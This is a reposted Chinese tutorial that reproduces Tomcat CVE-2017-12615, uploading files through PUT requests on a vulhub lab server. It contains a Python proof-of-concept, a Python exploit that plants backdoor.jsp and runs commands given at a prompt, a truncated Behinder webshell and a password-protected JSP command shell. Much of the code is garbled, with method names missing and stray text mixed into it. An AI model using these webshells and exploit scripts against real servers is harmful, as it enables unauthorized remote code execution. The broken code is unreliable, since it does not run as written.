Tomcat任意⽂件写⼊(CVE-2017-12615)漏洞复现
⼀、漏洞原理
影响范围:pache Tomcat7.0.0-7.0.81(默认配置)
如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的远程执⾏代码(RCE)漏洞,CVE-2017-12615:远程代码执⾏漏洞。只需参数readonly设置为false或者使⽤参数readonly设置启⽤WebDAV servlet false。此配置将允许任何未经⾝份验证的⽤户上传⽂件(如WebDAV中所使⽤的)。只要JSP可以上传,然后就可以在服务器上执⾏。在⼀定条件下,攻击者可以利⽤这两个漏洞,获取⽤户服务器上JSP⽂件的源代码,或是通过精⼼构造的攻击请求,向⽤户服务器上传恶意JSP⽂件,通过上传的JSP⽂件,可在⽤户服务器上执⾏任意代码,从⽽导致数据泄露或获取服务器权限,存在⾼安全风险。
⼆、漏洞复现
1、搭建环境
我使⽤vulhub
Vulhub是⼀个基于docker和docker-compose的漏洞环境集合,进⼊对应⽬录并执⾏⼀条语句即可启动⼀个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本⾝。
#安装docker-compose
pip install docker-compose
# 安装docker
sh get-docker.sh
# 测试脚本
sh test-docker.sh
#安装漏洞环境
unzip vulhub-master.zip
cd vulhub-maste
#漏洞环境利⽤
cd vulhub-master/tomcat/CVE-2017-12615  # 进⼊需要开启的漏洞路径
sudo docker-compose up -d
去底层查看源码
sudo docker ps
sudo docker exec -ti 2018aae20ba6 bash
cat l |grep readonly
漏洞产⽣是由于配置不当(⾮默认配置),将配置⽂件l中的readonly设置为了 false,导致可以使⽤PUT⽅法上传任意⽂件,
但限制了jsp后缀,不过对于不同平台有多种绕过⽅法。
2、漏洞复现
burp抓包,修改GET为PUT上传⽅式,添加⽂件名backdoor.jsp/(注意后⾯要添加/),添加⽂件内容。
访问成功,说明⽂件上传成功
我们使⽤jsp⽊马上传
<%@page import="java.util.*,pto.*,pto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){re //冰蝎的jsp马,默认密码是rebeyond
在虚拟机查看
使⽤冰蝎访问
1、POC
import requests
url1 = '10.108.131.57:8080/'
url2 = '10.108.131.57:8080/hello.jsp'
payload = '/hello.jsp/'
# url = url1+payload
# print(url)
with open ('./') as f:
data = f.read()
resp = requests.put(url1+payload, data=data)#提交put请求# print(resp.status_code)
response = (url2)#get请求验证put的⽂件是否上传try:
if resp.status_code == 201 and 'hello' :
print('存在CVE-2017-12615 tomcat 任意⽂件读写漏洞')    else:
print('不存在任意⽂件读写漏洞')
except Exception as e:
print(e)
2、EXP
tomcatEXP.py代码如下
import requests
url1 = '10.108.131.57:8080'
url2 = '10.108.131.57:8080/backdoor.jsp?pwd=023&i=' path = '/backdoor.jsp/'
with open('./') as file:
data = ad()
def upload(url):
resp = requests.put(url+path,data = data)
print(resp.status_code)
try:
if resp.status_code == 201:
print('完成⽊马上传...')
else:
print('上传失败...')
except Exception as e:
print(e)
def attack(url,cmd):
resp = (url+cmd)
try:
cve漏洞库if resp.status_code == 200:
)
else:
print('⽊马调⽤出现问题...')
except Exception as e:
print(e)
cmd = input()
upload(url1)
attack(url2,cmd)
jsp⼀句话⽊马,代码如下,密码?pwd=023&l=
<%
if("023".Parameter("pwd"))){
java.io.InputStream in = Runtime().Parameter("i")).getInputStream();        int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((ad(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。